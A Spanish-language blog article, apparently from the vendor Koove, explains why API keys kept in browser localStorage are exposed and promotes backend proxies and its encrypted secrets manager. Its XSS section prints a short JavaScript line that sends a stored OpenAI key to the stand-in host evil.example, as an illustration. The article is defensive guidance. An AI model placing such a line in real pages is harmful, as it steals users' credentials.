¿Es seguro guardar API keys en localStorage? (spoiler: no, y esto es lo que pasa)
La respuesta corta: no. La respuesta larga es más útil, porque "no lo hagas" no te dice qué pasa realmente ni qué hacer en su lugar.
Si alguna vez has escrito localStorage.setItem('API_KEY', 'sk-...') para que tu app funcione rápido en desarrollo — y luego se te ha olvidado quitarlo — este artículo es para ti.
Qué es localStorage y por qué parece buena idea
localStorage es una API del navegador para guardar pares clave-valor en texto plano, persistentes entre sesiones. Es tentador para guardar una API key porque:
- Es síncrono y trivial de usar (
setItem/getItem). - Sobrevive a recargas de página.
- No requiere backend ni configuración extra.
El problema es justo eso: cualquier script que se ejecute en tu página tiene acceso total a localStorage. No hay aislamiento, no hay cifrado, no hay permisos.
Qué pasa realmente cuando guardas una key ahí
XSS: el vector más común
Si tu aplicación tiene una vulnerabilidad de Cross-Site Scripting — por una dependencia de npm comprometida, un campo de texto sin sanitizar, o un widget de terceros mal configurado — el atacante ejecuta JavaScript arbitrario en el contexto de tu página. Eso incluye:
// Esto es literalmente todo lo que necesita un atacante
fetch('https://evil.example/collect', {
method: 'POST',
body: localStorage.getItem('OPENAI_API_KEY')
});
No hace falta acceso al servidor. No hace falta romper cifrado. Solo un <script> que no debería estar ahí.
Extensiones de navegador
Cualquier extensión instalada con permisos amplios (activeTab, <all_urls>) puede leer localStorage de cualquier pestaña abierta. Esto incluye extensiones legítimas que fueron comprometidas después de su publicación — algo que ha pasado repetidamente con extensiones populares.
Herramientas de logging y monitorización
Muchas herramientas de error tracking (Sentry, LogRocket, session replay) capturan el estado del DOM y, en configuraciones por defecto o mal ajustadas, también el contenido de localStorage. Tu API key puede acabar en el dashboard de un proveedor de terceros sin que nadie lo haya hecho a propósito.
El código generado por IA no ayuda
Es muy común pedirle a un asistente de IA "guarda la API key en el cliente" y que sugiera exactamente localStorage.setItem(...). Funciona, no da errores, y el asistente no tiene contexto de que esa key va a producción. En la era del código generado por IA, este es uno de los fallos de seguridad más frecuentes — lo tratamos en detalle en /ai-security.
localStorage vs sessionStorage vs cookies
Ninguna de las alternativas del navegador resuelve el problema de fondo:
- sessionStorage: mismo problema de exposición a JS, solo cambia el tiempo de vida (se borra al cerrar la pestaña).
- Cookies sin
httpOnly: igual de accesibles desde JS. - Cookies con
httpOnly+Secure+SameSite: mejoran mucho las cosas para sesiones de usuario, pero no están pensadas para guardar API keys de terceros — están pensadas para tokens de sesión que el navegador envía automáticamente al mismo dominio.
La conclusión no es "usa otro storage del navegador". Es que una API key real nunca debería llegar al navegador.
Qué hacer en su lugar
1. La key real vive en el backend, nunca en el frontend
Si tu frontend necesita llamar a OpenAI, Stripe o cualquier API de terceros, el patrón correcto es un proxy: el navegador llama a tu backend, y tu backend — que sí tiene la key — llama al servicio externo.
// frontend: nunca ve la key real
await fetch('/api/complete', { method: 'POST', body: JSON.stringify({ prompt }) });
// backend: aquí sí vive el secreto, gestionado, no hardcodeado
const response = await openai.chat.completions.create({ ... });
2. Gestiona esas keys de backend con un secrets manager, no con .env en el repo
El error clásico no desaparece solo por mover la key al backend: si sigue en un .env versionado o en un valor pegado a mano en el panel del hosting, el problema de exposición simplemente se traslada. Con Koove, el flujo es:
koove set OPENAI_API_KEY sk-proj-xxxx --env prod
koove list --env prod
El valor se cifra en el cliente (X25519 + AES-256-GCM) antes de salir de tu máquina. El servidor de Koove solo almacena ciphertext — nunca ve la key en claro. Tu código fuente y tu asistente de IA solo trabajan con el nombre del secreto, nunca con el valor. Los detalles de integración están en /docs/sdk.
3. Si necesitas la key en un dispositivo móvil, no la embebas en el build
Embeber una API key en el binario de una app móvil es el equivalente móvil de ponerla en localStorage: cualquiera con el APK/IPA puede extraerla. La alternativa que usa Koove es descifrar el secreto solo en dispositivos verificados:
const client = new KooveClient({ apiUrl, appId, appToken });
await client.init(); // atestación (App Attest / Play Integrity) + registro
const apiKey = await client.decryptSecret(envelope); // detrás de biometría
Esto requiere hardware físico real — la atestación está verificada de extremo a extremo en iPhone y Pixel, sin bypass para desarrollo. Puedes ver la arquitectura completa en /security.
Lo que Koove no hace (para ser honestos)
Koove no convierte tu app en "inhackeable", ni revierte el acceso a un secreto que un dispositivo ya descifró y guardó en su propia memoria. Lo que sí hace es eliminar el texto plano del código fuente, del repositorio y del navegador, y limitar el descifrado a dispositivos y backends autorizados. Es una reducción real de superficie de ataque, no una promesa mágica.
Conclusión
localStorage no es un lugar seguro para nada que consideres un secreto. No porque el navegador esté "mal hecho", sino porque su modelo de seguridad no incluye aislamiento entre scripts. La solución no es buscar otro rincón del navegador donde esconder la key — es no dejar que la key llegue ahí.
Si quieres dejar de gestionar secretos a mano en .env files y paneles de hosting, puedes revisar los planes de Koove o consultar las preguntas frecuentes antes de crear una cuenta.